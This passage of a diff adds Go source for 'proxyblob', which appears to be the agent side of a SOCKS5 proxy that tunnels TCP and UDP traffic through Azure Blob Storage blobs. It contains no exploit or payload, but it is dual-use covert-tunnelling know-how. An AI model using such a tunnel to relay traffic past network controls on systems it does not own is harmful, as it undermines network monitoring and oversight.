targetConn.Close()
|
||||
return protocol.ErrPacketSendFailed
|
||||
}
|
||||
|
||||
// Store connection and set state
|
||||
conn.Conn = targetConn
|
||||
conn.State = protocol.StateConnected
|
||||
|
||||
// Start data transfer
|
||||
return h.handleTCPDataTransfer(conn, targetConn)
|
||||
}
|
||||
|
||||
// handleTCPDataTransfer manages bidirectional data transfer for TCP connections.
|
||||
// It spawns two goroutines:
|
||||
// - One reads from client and writes to target
|
||||
// - One reads from target and writes to client
|
||||
//
|
||||
// The transfer continues until either:
|
||||
// - The connection is closed by either end
|
||||
// - The context is canceled
|
||||
// - An error occurs
|
||||
func (h *SocksHandler) handleTCPDataTransfer(conn *protocol.Connection, tcpConn net.Conn) byte {
|
||||
// Create channels for communication
|
||||
clientToTarget := make(chan []byte)
|
||||
targetToClient := make(chan []byte)
|
||||
errorCh := make(chan byte, 2)
|
||||
|
||||
// Read from SOCKS client and forward to target
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-conn.Closed:
|
||||
return
|
||||
case <-h.Ctx.Done():
|
||||
return
|
||||
case data, ok := <-conn.ReadBuffer:
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
clientToTarget <- data
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// Read from target and forward to SOCKS client
|
||||
go func() {
|
||||
buffer := make([]byte, 128*1024)
|
||||
for {
|
||||
n, err := tcpConn.Read(buffer)
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
errorCh <- protocol.ErrConnectionClosed
|
||||
} else if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
|
||||
errorCh <- protocol.ErrTTLExpired
|
||||
} else {
|
||||
errorCh <- protocol.ErrHostUnreachable
|
||||
}
|
||||
return
|
||||
}
|
||||
// Copy data since buffer will be reused
|
||||
data := make([]byte, n)
|
||||
copy(data, buffer[:n])
|
||||
targetToClient <- data
|
||||
}
|
||||
}()
|
||||
|
||||
// Main data transfer loop
|
||||
for {
|
||||
select {
|
||||
case <-conn.Closed:
|
||||
tcpConn.Close()
|
||||
return protocol.ErrNone
|
||||
|
||||
case <-h.Ctx.Done():
|
||||
tcpConn.Close()
|
||||
return protocol.ErrHandlerStopped
|
||||
|
||||
case errCode := <-errorCh:
|
||||
tcpConn.Close()
|
||||
return errCode
|
||||
|
||||
case data := <-clientToTarget:
|
||||
_, err := tcpConn.Write(data)
|
||||
if err != nil {
|
||||
tcpConn.Close()
|
||||
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
|
||||
return protocol.ErrTTLExpired
|
||||
}
|
||||
return protocol.ErrHostUnreachable
|
||||
}
|
||||
case data := <-targetToClient:
|
||||
errCode := h.SendData(conn.ID, data)
|
||||
if errCode != protocol.ErrNone {
|
||||
tcpConn.Close()
|
||||
return protocol.ErrPacketSendFailed
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
// Package proxy implements SOCKS5 proxy functionality.
|
||||
package proxy
|
||||
|
||||
// SOCKS protocol versions.
|
||||
const (
|
||||
Version5 byte = 0x05 // SOCKS Protocol Version 5
|
||||
)
|
||||
|
||||
// Authentication methods as defined in RFC 1928.
|
||||
const (
|
||||
NoAuth byte = 0x00 // No authentication required
|
||||
GSSAPI byte = 0x01 // GSSAPI
|
||||
UsernamePassword byte = 0x02 // Username/Password (RFC 1929)
|
||||
NoAcceptableMethods byte = 0xFF // No acceptable methods
|
||||
)
|
||||
|
||||
// SOCKS5 commands that clients may request.
|
||||
const (
|
||||
Connect byte = 0x01 // Establish TCP/IP stream connection
|
||||
Bind byte = 0x02 // Listen for incoming TCP connection
|
||||
UDPAssociate byte = 0x03 // Set up UDP relay
|
||||
)
|
||||
|
||||
// Address types for target addresses.
|
||||
const (
|
||||
IPv4 byte = 0x01 // IPv4 address (4 bytes)
|
||||
Domain byte = 0x03 // Domain name (variable length)
|
||||
IPv6 byte = 0x04 // IPv6 address (16 bytes)
|
||||
)
|
||||
|
||||
// Reply codes sent from server to client.
|
||||
const (
|
||||
Succeeded byte = 0x00 // Request granted
|
||||
GeneralFailure byte = 0x01 // General failure
|
||||
ConnectionNotAllowed byte = 0x02 // Connection not allowed by ruleset
|
||||
NetworkUnreachable byte = 0x03 // Network unreachable
|
||||
HostUnreachable byte = 0x04 // Host unreachable
|
||||
ConnectionRefused byte = 0x05 // Connection refused by destination
|
||||
TTLExpired byte = 0x06 // TTL expired
|
||||
CommandNotSupported byte = 0x07 // Command not supported
|
||||
AddressTypeNotSupported byte = 0x08 // Address type not supported
|
||||
)
|
||||
|
||||
// Buffer size limits.
|
||||
const (
|
||||
MaxSocksHeaderSize = 262 // Maximum size of SOCKS header in bytes
|
||||
MaxUDPPacketSize = 65535 // Maximum size of UDP datagram in bytes
|
||||
)
|
||||
@@ -0,0 +1,264 @@
|
||||
// Package proxy implements SOCKS5 proxy functionality.
|
||||
// It provides a complete SOCKS5 implementation following RFC 1928, supporting
|
||||
// CONNECT and UDP ASSOCIATE (BIND not implemented) commands with NoAuth authentication.
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"slices"
|
||||
|
||||
"proxyblob/pkg/protocol"
|
||||
"proxyblob/pkg/transport"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// SocksHandler implements a SOCKS5 protocol handler.
|
||||
// It processes authentication, commands, and data transfer between clients
|
||||
// and remote targets. The handler is safe for concurrent use.
|
||||
type SocksHandler struct {
|
||||
*protocol.BaseHandler
|
||||
}
|
||||
|
||||
// NewSocksHandler creates a SOCKS5 handler with the given transport.
|
||||
// The transport is used for sending and receiving protocol messages.
|
||||
func NewSocksHandler(ctx context.Context, transport transport.Transport) *SocksHandler {
|
||||
handler := &SocksHandler{}
|
||||
handler.BaseHandler = protocol.NewBaseHandler(ctx, transport)
|
||||
handler.PacketHandler = handler
|
||||
return handler
|
||||
}
|
||||
|
||||
// Start begins processing SOCKS5 requests. The address parameter is ignored
|
||||
// as there are no listeners on the agent side.
|
||||
func (h *SocksHandler) Start(address string) {
|
||||
go h.ReceiveLoop()
|
||||
}
|
||||
|
||||
// Stop gracefully terminates the handler, closing all active connections
|
||||
// and canceling the context.
|
||||
func (h *SocksHandler) Stop() {
|
||||
h.CloseAllConnections()
|
||||
h.Cancel()
|
||||
}
|
||||
|
||||
// OnNew handles new connection requests by initializing it and
|
||||
// starting the SOCKS5 protocol flow.
|
||||
func (h *SocksHandler) OnNew(connectionID uuid.UUID, data []byte) byte {
|
||||
// Check if the connection already exists
|
||||
if _, ok := h.Connections.Load(connectionID); ok {
|
||||
return protocol.ErrConnectionExists
|
||||
}
|
||||
|
||||
// Create new connection
|
||||
conn := protocol.NewConnection(connectionID)
|
||||
h.Connections.Store(conn.ID, conn)
|
||||
|
||||
// Process the server's nonce and public key from data
|
||||
if len(data) >= 24+32 {
|
||||
// Extract nonce and server public key
|
||||
nonce := data[:24]
|
||||
serverPublicKey := data[24 : 24+32]
|
||||
|
||||
// Store temporary data for key derivation during ACK
|
||||
tmp := make([]byte, len(nonce)+len(serverPublicKey))
|
||||
copy(tmp[:len(nonce)], nonce)
|
||||
copy(tmp[len(nonce):], serverPublicKey)
|
||||
conn.SecretKey = tmp
|
||||
}
|
||||
|
||||
// Send connection acknowledgment
|
||||
errCode := h.SendConnAck(connectionID)
|
||||
if errCode != protocol.ErrNone {
|
||||
return errCode
|
||||
}
|
||||
|
||||
// Process the connection
|
||||
go h.processConnection(conn)
|
||||
return protocol.ErrNone
|
||||
}
|
||||
|
||||
// OnAck reports ErrUnexpectedPacket as the agent only accepts incoming
|
||||
// connections and does not initiate them.
|
||||
func (h *SocksHandler) OnAck(connectionID uuid.UUID, data []byte) byte {
|
||||
return protocol.ErrUnexpectedPacket
|
||||
}
|
||||
|
||||
// OnData processes incoming data for a connection.
|
||||
// It decrypts the data and forwards it to the connection's read buffer.
|
||||
func (h *SocksHandler) OnData(connectionID uuid.UUID, data []byte) byte {
|
||||
value, ok := h.Connections.Load(connectionID)
|
||||
if !ok {
|
||||
return protocol.ErrConnectionNotFound
|
||||
}
|
||||
conn := value.(*protocol.Connection)
|
||||
|
||||
decrypted, errCode := protocol.Decrypt(conn.SecretKey, data)
|
||||
if errCode != protocol.ErrNone {
|
||||
h.SendClose(connectionID, protocol.ErrInvalidCrypto)
|
||||
return errCode
|
||||
}
|
||||
data = decrypted
|
||||
|
||||
select {
|
||||
case <-h.Ctx.Done():
|
||||
return protocol.ErrConnectionClosed
|
||||
case conn.ReadBuffer <- data:
|
||||
return protocol.ErrNone
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// OnClose cleans up resources associated with a connection.
|
||||
// It is safe to call multiple times.
|
||||
func (h *SocksHandler) OnClose(connectionID uuid.UUID, errorCode byte) byte {
|
||||
value, ok := h.Connections.Load(connectionID)
|
||||
if !ok {
|
||||
return protocol.ErrNone // Connection already removed, nothing to do
|
||||
}
|
||||
conn := value.(*protocol.Connection)
|
||||
conn.Close()
|
||||
|
||||
h.Connections.Delete(connectionID)
|
||||
return protocol.ErrNone
|
||||
}
|
||||
|
||||
// processConnection handles the SOCKS5 protocol flow for a single connection.
|
||||
// The flow consists of three phases:
|
||||
//
|
||||
// 1. Authentication method negotiation
|
||||
// 2. Command processing (CONNECT, UDP ASSOCIATE)
|
||||
// 3. Data transfer between client and target
|
||||
func (h *SocksHandler) processConnection(conn *protocol.Connection) {
|
||||
// SOCKS protocol has 3 sequential phases
|
||||
errCode := h.handleAuthNegotiation(conn)
|
||||
if errCode != protocol.ErrNone {
|
||||
h.SendClose(conn.ID, errCode)
|
||||
return
|
||||
}
|
||||
|
||||
errCode = h.handleCommand(conn)
|
||||
if errCode != protocol.ErrNone {
|
||||
h.SendClose(conn.ID, errCode)
|
||||
return
|
||||
}
|
||||
|
||||
errCode = h.handleDataTransfer(conn)
|
||||
if errCode != protocol.ErrNone {
|
||||
h.SendClose(conn.ID, errCode)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// SendError sends a SOCKS5 error reply to the client.
|
||||
// It maps internal error codes to SOCKS5 reply codes as defined in RFC 1928.
|
||||
func (h *SocksHandler) SendError(conn *protocol.Connection, errCode byte) {
|
||||
// Default to general failure
|
||||
socksReplyCode := GeneralFailure
|
||||
|
||||
// Map internal error codes to SOCKS reply codes
|
||||
switch errCode {
|
||||
case protocol.ErrNone:
|
||||
socksReplyCode = Succeeded
|
||||
case protocol.ErrNetworkUnreachable:
|
||||
socksReplyCode = NetworkUnreachable
|
||||
case protocol.ErrHostUnreachable:
|
||||
socksReplyCode = HostUnreachable
|
||||
case protocol.ErrConnectionRefused:
|
||||
socksReplyCode = ConnectionRefused
|
||||
case protocol.ErrTTLExpired:
|
||||
socksReplyCode = TTLExpired
|
||||
case protocol.ErrUnsupportedCommand:
|
||||
socksReplyCode = CommandNotSupported
|
||||
case protocol.ErrAddressNotSupported:
|
||||
socksReplyCode = AddressTypeNotSupported
|
||||
case protocol.ErrAuthFailed:
|
||||
socksReplyCode = NoAcceptableMethods
|
||||
}
|
||||
|
||||
// Build and send error response
|
||||
response := []byte{Version5, socksReplyCode, 0x00, IPv4, 0, 0, 0, 0, 0, 0}
|
||||
h.SendData(conn.ID, response)
|
||||
}
|
||||
|
||||
// handleAuthNegotiation processes the client's authentication method selection.
|
||||
// Currently only the NO AUTHENTICATION REQUIRED (0x00) method is supported.
|
||||
func (h *SocksHandler) handleAuthNegotiation(conn *protocol.Connection) byte {
|
||||
select {
|
||||
case methods := <-conn.ReadBuffer:
|
||||
// Currently we only support NoAuth (0x00)
|
||||
if !slices.Contains(methods, NoAuth) {
|
||||
h.SendError(conn, protocol.ErrAuthFailed)
|
||||
return protocol.ErrAuthFailed
|
||||
}
|
||||
|
||||
// Send response
|
||||
errCode := h.SendData(conn.ID, []byte{Version5, NoAuth})
|
||||
if errCode != protocol.ErrNone {
|
||||
return errCode
|
||||
}
|
||||
|
||||
return protocol.ErrNone
|
||||
|
||||
case <-conn.Closed:
|
||||
return protocol.ErrConnectionClosed
|
||||
|
||||
case <-h.Ctx.Done():
|
||||
return protocol.ErrHandlerStopped
|
||||
}
|
||||
}
|
||||
|
||||
// handleCommand processes SOCKS5 commands from the client.
|
||||
// Supported commands are:
|
||||
//
|
||||
// - CONNECT (0x01): Establish TCP/IP stream connection
|
||||
// - UDP ASSOCIATE (0x03): UDP relay
|
||||
//
|
||||
// Unsupported commands are:
|
||||
//
|
||||
// - BIND (0x02): TCP/IP port binding
|
||||
func (h *SocksHandler) handleCommand(conn *protocol.Connection) byte {
|
||||
select {
|
||||
case cmdData := <-conn.ReadBuffer:
|
||||
// Validate command format
|
||||
if len(cmdData) < 4 {
|
||||
h.SendError(conn, protocol.ErrInvalidPacket)
|
||||
return protocol.ErrInvalidPacket
|
||||
}
|
||||
|
||||
// Check SOCKS version
|
||||
if cmdData[0] != Version5 {
|
||||
h.SendError(conn, protocol.ErrInvalidSocksVersion)
|
||||
return protocol.ErrInvalidSocksVersion
|
||||
}
|
||||
|
||||
var errCode byte
|
||||
switch cmdData[1] {
|
||||
case Connect:
|
||||
errCode = h.handleConnect(conn, cmdData)
|
||||
case Bind:
|
||||
errCode = h.handleBind(conn, cmdData)
|
||||
case UDPAssociate:
|
||||
errCode = h.handleUDPAssociate(conn)
|
||||
default:
|
||||
h.SendError(conn, protocol.ErrUnsupportedCommand)
|
||||
return protocol.ErrUnsupportedCommand
|
||||
}
|
||||
|
||||
return errCode
|
||||
|
||||
case <-conn.Closed:
|
||||
return protocol.ErrConnectionClosed
|
||||
case <-h.Ctx.Done():
|
||||
return protocol.ErrHandlerStopped
|
||||
}
|
||||
}
|
||||
|
||||
// handleDataTransfer manages the flow of data between client and target.
|
||||
// Each command handler implements its own data transfer mechanism.
|
||||
func (h *SocksHandler) handleDataTransfer(conn *protocol.Connection) byte {
|
||||
// Each command handler takes care of data transfer
|
||||
// Just wait for connection to be closed
|
||||
<-conn.Closed
|
||||
return protocol.ErrNone
|
||||
}
|
||||
@@ -0,0 +1,323 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"proxyblob/pkg/protocol"
|
||||
)
|
||||
|
||||
// handleUDPAssociate processes the SOCKS5 UDP ASSOCIATE command.
|
||||
// It creates a UDP relay that allows clients to send and receive
|
||||
// UDP datagrams through the SOCKS server.
|
||||
//
|
||||
// The process involves:
|
||||
// 1. Creating a UDP socket for client communication
|
||||
// 2. Sending the socket address back to the client
|
||||
// 3. Maintaining the TCP control connection
|
||||
// 4. Relaying UDP datagrams between client and targets
|
||||
//
|
||||
// The command format follows RFC 1928 Section 4.
|
||||
func (h *SocksHandler) handleUDPAssociate(conn *protocol.Connection) byte {
|
||||
// Create UDP socket
|
||||
udpAddr, err := net.ResolveUDPAddr("udp", "0.0.0.0:0")
|
||||
if err != nil {
|
||||
// Send network unreachable error
|
||||
h.SendError(conn, protocol.ErrNetworkUnreachable)
|
||||
return protocol.ErrNetworkUnreachable
|
||||
}
|
||||
|
||||
udpConn, err := net.ListenUDP("udp", udpAddr)
|
||||
if err != nil {
|
||||
// Determine specific error type
|
||||
errCode := protocol.ErrGeneralSocksFailure
|
||||
if opErr, ok := err.(*net.OpError); ok {
|
||||
if errors.Is(opErr, net.ErrClosed) {
|
||||
errCode = protocol.ErrTransportClosed
|
||||
} else if opErr.Op == "listen" {
|
||||
errCode = protocol.ErrNetworkUnreachable
|
||||
}
|
||||
}
|
||||
|
||||
// Send appropriate error response
|
||||
h.SendError(conn, errCode)
|
||||
return errCode
|
||||
}
|
||||
|
||||
// Get the allocated port
|
||||
localAddr := udpConn.LocalAddr().(*net.UDPAddr)
|
||||
port := localAddr.Port
|
||||
|
||||
// Create response
|
||||
// Format: |VER|REP|RSV|ATYP|BND.ADDR|BND.PORT|
|
||||
response := []byte{
|
||||
Version5, // VER
|
||||
Succeeded, // REP - success
|
||||
0, // RSV - reserved, must be 0
|
||||
IPv4, // ATYP - IPv4
|
||||
0, 0, 0, 0, // BND.ADDR - 0.0.0.0 (any address)
|
||||
byte(port >> 8), // BND.PORT - high byte
|
||||
byte(port & 0xff), // BND.PORT - low byte
|
||||
}
|
||||
|
||||
errCode := h.SendData(conn.ID, response)
|
||||
if errCode != protocol.ErrNone {
|
||||
udpConn.Close()
|
||||
return protocol.ErrPacketSendFailed
|
||||
}
|
||||
|
||||
// Store UDP connection and start handling packets
|
||||
conn.Conn = udpConn
|
||||
conn.State = protocol.StateConnected
|
||||
|
||||
go h.handleUDPPackets(conn)
|
||||
|
||||
// Keep the control connection open until it's closed elsewhere
|
||||
select {
|
||||
case <-conn.Closed:
|
||||
// Control connection closed, UDP associate terminated
|
||||
case <-h.Ctx.Done():
|
||||
udpConn.Close()
|
||||
}
|
||||
|
||||
return protocol.ErrNone
|
||||
}
|
||||
|
||||
// handleUDPPackets manages the UDP relay for a client.
|
||||
// It:
|
||||
// - Receives UDP packets from the client
|
||||
// - Extracts target addresses from SOCKS headers
|
||||
// - Forwards packets to targets
|
||||
// - Receives responses from targets
|
||||
// - Wraps responses in SOCKS headers
|
||||
// - Returns them to the client
|
||||
//
|
||||
// The relay operates until the control connection closes or
|
||||
// the context is canceled.
|
||||
func (h *SocksHandler) handleUDPPackets(conn *protocol.Connection) {
|
||||
udpConn := conn.Conn.(*net.UDPConn)
|
||||
buffer := make([]byte, 64*1024)
|
||||
var clientAddr *net.UDPAddr
|
||||
|
||||
// Create a UDP connection for sending to targets
|
||||
targetConn, err := net.ListenUDP("udp", nil)
|
||||
if err != nil {
|
||||
h.SendClose(conn.ID, protocol.ErrNetworkUnreachable)
|
||||
return
|
||||
}
|
||||
|
||||
// Ensure connections are properly closed when this handler exits
|
||||
defer targetConn.Close()
|
||||
|
||||
// Map to track target addresses and their corresponding responses
|
||||
type targetInfo struct {
|
||||
addr *net.UDPAddr
|
||||
lastActive time.Time
|
||||
}
|
||||
targets := make(map[string]*targetInfo)
|
||||
|
||||
// Channel for receiving UDP responses
|
||||
responses := make(chan struct {
|
||||
data []byte
|
||||
addr *net.UDPAddr
|
||||
}, 100)
|
||||
|
||||
// Start a goroutine to handle responses
|
||||
go func() {
|
||||
respBuf := make([]byte, 128*1024)
|
||||
for {
|
||||
// Check for cancellation
|
||||
select {
|
||||
case <-h.Ctx.Done():
|
||||
return
|
||||
case <-conn.Closed:
|
||||
return
|
||||
default:
|
||||
// Continue processing
|
||||
}
|
||||
|
||||
// Set read deadline
|
||||
if err := targetConn.SetReadDeadline(time.Now().Add(300 * time.Millisecond)); err != nil {
|
||||
if errors.Is(err, net.ErrClosed) {
|
||||
return
|
||||
}
|
||||
continue // Non-fatal, just retry
|
||||
}
|
||||
|
||||
n, addr, err := targetConn.ReadFromUDP(respBuf)
|
||||
if err != nil {
|
||||
if errors.Is(err, net.ErrClosed) {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
if n > 0 {
|
||||
// Make a copy of the data since respBuf will be reused
|
||||
data := make([]byte, n)
|
||||
copy(data, respBuf[:n])
|
||||
|
||||
// Send response through channel
|
||||
select {
|
||||
case responses <- struct {
|
||||
data []byte
|
||||
addr *net.UDPAddr
|
||||
}{data, addr}:
|
||||
// Successfully sent
|
||||
default:
|
||||
// Channel full, log and continue
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// Timeout to clean up inactive targets
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-h.Ctx.Done():
|
||||
return
|
||||
case <-conn.Closed:
|
||||
return
|
||||
case resp := <-responses:
|
||||
// Find the target that matches this response
|
||||
var found bool
|
||||
|
||||
for _, target := range targets {
|
||||
if target.addr.IP.Equal(resp.addr.IP) && target.addr.Port == resp.addr.Port {
|
||||
// Update last active time
|
||||
target.lastActive = time.Now()
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !found {
|
||||
// Skip unknown targets
|
||||
continue
|
||||
}
|
||||
|
||||
if clientAddr == nil {
|
||||
// Skip client address not set
|
||||
continue
|
||||
}
|
||||
|
||||
// Create response packet with appropriate header
|
||||
// For simplicity, we'll just use a minimal header with the correct address type
|
||||
var respHeader []byte
|
||||
|
||||
// Determine address type
|
||||
var addrType byte
|
||||
if resp.addr.IP.To4() != nil {
|
||||
addrType = IPv4
|
||||
} else {
|
||||
addrType = IPv6
|
||||
}
|
||||
|
||||
// header: RSV(2) + FRAG(0) + ATYP(1) + ADDR + PORT(2)
|
||||
respHeader = append(respHeader, 0, 0, 0, addrType)
|
||||
|
||||
if addrType == IPv4 {
|
||||
respHeader = append(respHeader, resp.addr.IP.To4()...)
|
||||
} else {
|
||||
respHeader = append(respHeader, resp.addr.IP.To16()...)
|
||||
}
|
||||
|
||||
// Add port
|
||||
portBytes := make([]byte, 2)
|
||||
binary.BigEndian.PutUint16(portBytes, uint16(resp.addr.Port))
|
||||
respHeader = append(respHeader, portBytes...)
|
||||
|
||||
// Combine header and payload
|
||||
respPacket := append(respHeader, resp.data...)
|
||||
|
||||
_, err = udpConn.WriteToUDP(respPacket, clientAddr)
|
||||
if err != nil {
|
||||
if errors.Is(err, net.ErrClosed) {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
case <-ticker.C:
|
||||
// Clean up inactive targets
|
||||
now := time.Now()
|
||||
for targetKey, targetInfo := range targets {
|
||||
if now.Sub(targetInfo.lastActive) > 1*time.Minute {
|
||||
delete(targets, targetKey)
|
||||
}
|
||||
}
|
||||
|
||||
default:
|
||||
// Set read deadline to prevent blocking forever
|
||||
if err := udpConn.SetReadDeadline(time.Now().Add(300 * time.Millisecond)); err != nil {
|
||||
if errors.Is(err, net.ErrClosed) {
|
||||
return
|
||||
}
|
||||
continue // Non-fatal
|
||||
}
|
||||
|
||||
n, remoteAddr, err := udpConn.ReadFromUDP(buffer)
|
||||
if err != nil {
|
||||
// Handle various error conditions
|
||||
if errors.Is(err, net.ErrClosed) {
|
||||
return
|
||||
}
|
||||
|
||||
if netErr, ok := err.(net.Error); ok {
|
||||
if netErr.Timeout() {
|
||||
// This is expected due to deadline, don't log
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
h.SendClose(conn.ID, protocol.ErrNetworkUnreachable)
|
||||
return
|
||||
}
|
||||
|
||||
// Store client address from first packet
|
||||
if clientAddr == nil {
|
||||
clientAddr = remoteAddr
|
||||
}
|
||||
|
||||
// Only accept packets from original client
|
||||
if !remoteAddr.IP.Equal(clientAddr.IP) {
|
||||
continue
|
||||
}
|
||||
|
||||
// Handle UDP packet
|
||||
if n > 3 {
|
||||
// Extract target address from UDP header
|
||||
targetAddr, headerLen, errCode := ExtractUDPHeader(buffer[:n])
|
||||
if errCode != protocol.ErrNone {
|
||||
continue
|
||||
}
|
||||
|
||||
// Resolve target address
|
||||
targetUDPAddr, err := net.ResolveUDPAddr("udp", targetAddr)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Store target information
|
||||
targetKey := targetAddr
|
||||
targets[targetKey] = &targetInfo{
|
||||
addr: targetUDPAddr,
|
||||
lastActive: time.Now(),
|
||||
}
|
||||
|
||||
// Send payload to target
|
||||
_, err = targetConn.WriteToUDP(buffer[headerLen:n], targetUDPAddr)
|
||||
if err != nil {
|
||||
if errors.Is(err, net.ErrClosed) {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,266 @@
|
||||
// Package transport provides interfaces and implementations for communication
|
||||
// between proxy components. It abstracts the underlying transport mechanism
|
||||
// and ensures reliable data transfer with proper error handling.
|
||||
package transport
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"time"
|
||||
|
||||
"github.com/Azure/azure-storage-blob-go/azblob"
|
||||
)
|
||||
|
||||
// Retry configuration for blob operations.
|
||||
const (
|
||||
InitialRetryDelay = 50 * time.Millisecond // Starting delay between retries
|
||||
MaxRetryDelay = 3 * time.Second // Maximum delay between retries
|
||||
BackoffFactor = 1.5 // Multiplier for exponential backoff
|
||||
)
|
||||
|
||||
// BlobTransport implements the Transport interface using Azure Blob Storage.
|
||||
// It uses separate blobs for reading and writing to provide bidirectional
|
||||
// communication. All operations are retried with exponential backoff.
|
||||
type BlobTransport struct {
|
||||
readBlob azblob.BlockBlobURL // Blob for receiving data
|
||||
writeBlob azblob.BlockBlobURL // Blob for sending data
|
||||
}
|
||||
|
||||
// NewBlobTransport creates a transport that uses the provided blobs for
|
||||
// bidirectional communication. The readBlob is used for receiving data,
|
||||
// and the writeBlob is used for sending data.
|
||||
func NewBlobTransport(readBlob, writeBlob azblob.BlockBlobURL) *BlobTransport {
|
||||
return &BlobTransport{
|
||||
readBlob: readBlob,
|
||||
writeBlob: writeBlob,
|
||||
}
|
||||
}
|
||||
|
||||
// Send writes data to the write blob. It blocks until the data is written
|
||||
// or the context is canceled. Returns an error code indicating success or
|
||||
// specific failure reason.
|
||||
func (t *BlobTransport) Send(ctx context.Context, data []byte) byte {
|
||||
return WriteBlob(ctx, t.writeBlob, data)
|
||||
}
|
||||
|
||||
// Receive reads and clears data from the read blob. It blocks until data
|
||||
// is available or the context is canceled. Returns the read data and an
|
||||
// error code indicating success or failure reason.
|
||||
func (t *BlobTransport) Receive(ctx context.Context) ([]byte, byte) {
|
||||
return WaitForData(ctx, t.readBlob)
|
||||
}
|
||||
|
||||
// IsClosed reports whether the transport is permanently closed.
|
||||
func (t *BlobTransport) IsClosed(errCode byte) bool {
|
||||
return errCode == ErrTransportClosed
|
||||
}
|
||||
|
||||
// WriteBlob attempts to write data to a blob with retry and exponential backoff.
|
||||
// The operation is retried until successful or the context is canceled.
|
||||
// Returns an error code indicating success or specific failure reason.
|
||||
func WriteBlob(ctx context.Context, blobURL azblob.BlockBlobURL, data []byte) byte {
|
||||
retryDelay := InitialRetryDelay
|
||||
|
||||
// Try the operation with unlimited retries
|
||||
for {
|
||||
// Check if blob is empty
|
||||
isEmpty, errCode := IsBlobEmpty(ctx, blobURL)
|
||||
if errCode != ErrNone {
|
||||
return errCode
|
||||
}
|
||||
|
||||
if !isEmpty {
|
||||
// If the blob isn't empty, wait before retrying
|
||||
retryDelay, errCode = WaitDelay(ctx, retryDelay)
|
||||
if errCode != ErrNone {
|
||||
return errCode
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// Reset delay when we find empty blob
|
||||
retryDelay = InitialRetryDelay
|
||||
|
||||
// Upload data to the blob
|
||||
_, err := blobURL.Upload(
|
||||
ctx,
|
||||
bytes.NewReader(data),
|
||||
azblob.BlobHTTPHeaders{ContentType: "application/octet-stream"},
|
||||
azblob.Metadata{},
|
||||
azblob.BlobAccessConditions{},
|
||||
azblob.DefaultAccessTier,
|
||||
nil,
|
||||
azblob.ClientProvidedKeyOptions{},
|
||||
azblob.ImmutabilityPolicyOptions{},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
// If upload fails, check context and retry
|
||||
if ctx.Err() != nil {
|
||||
return ErrContextCanceled
|
||||
}
|
||||
|
||||
// Wait before retrying with exponential backoff
|
||||
retryDelay, errCode = WaitDelay(ctx, retryDelay)
|
||||
if errCode != ErrNone {
|
||||
return errCode
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// Success
|
||||
return ErrNone
|
||||
}
|
||||
}
|
||||
|
||||
// WaitForData polls a blob until data is available, then reads and clears it.
|
||||
// The operation is retried with exponential backoff until data is found or
|
||||
// the context is canceled. Returns the read data and an error code indicating
|
||||
// success or failure reason.
|
||||
func WaitForData(ctx context.Context, blobURL azblob.BlockBlobURL) ([]byte, byte) {
|
||||
var data []byte
|
||||
retryDelay := InitialRetryDelay
|
||||
|
||||
for {
|
||||
// Check for cancellation
|
||||
if ctx.Err() != nil {
|
||||
return nil, ErrContextCanceled
|
||||
}
|
||||
|
||||
// Poll until the blob contains data
|
||||
isEmpty, errCode := IsBlobEmpty(ctx, blobURL)
|
||||
if errCode != ErrNone {
|
||||
return nil, errCode
|
||||
}
|
||||
|
||||
if isEmpty {
|
||||
// If empty, wait before checking again with exponential backoff
|
||||
retryDelay, errCode = WaitDelay(ctx, retryDelay)
|
||||
if errCode != ErrNone {
|
||||
return nil, errCode
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// Reset delay when we find data
|
||||
retryDelay = InitialRetryDelay
|
||||
|
||||
// Found data, download the blob content
|
||||
response, err := blobURL.Download(ctx, 0, azblob.CountToEnd, azblob.BlobAccessConditions{}, false, azblob.ClientProvidedKeyOptions{})
|
||||
if err != nil {
|
||||
return nil, BlobError(err)
|
||||
}
|
||||
|
||||
bodyReader := response.Body(azblob.RetryReaderOptions{MaxRetryRequests: 3})
|
||||
defer bodyReader.Close()
|
||||
|
||||
// Read the data
|
||||
data, err = io.ReadAll(bodyReader)
|
||||
if err != nil {
|
||||
return nil, ErrTransportError
|
||||
}
|
||||
|
||||
// Clear the blob - no retries here
|
||||
errCode = ClearBlob(ctx, blobURL)
|
||||
if errCode != ErrNone {
|
||||
return nil, errCode
|
||||
}
|
||||
|
||||
return data, ErrNone
|
||||
}
|
||||
}
|
||||
|
||||
// IsBlobEmpty checks if a blob is empty by retrieving its properties.
|
||||
// Returns true if the blob has zero content length, and an error code
|
||||
// indicating success or failure reason.
|
||||
func IsBlobEmpty(ctx context.Context, blobURL azblob.BlockBlobURL) (bool, byte) {
|
||||
// Check for cancelation
|
||||
props, err := blobURL.GetProperties(ctx, azblob.BlobAccessConditions{}, azblob.ClientProvidedKeyOptions{})
|
||||
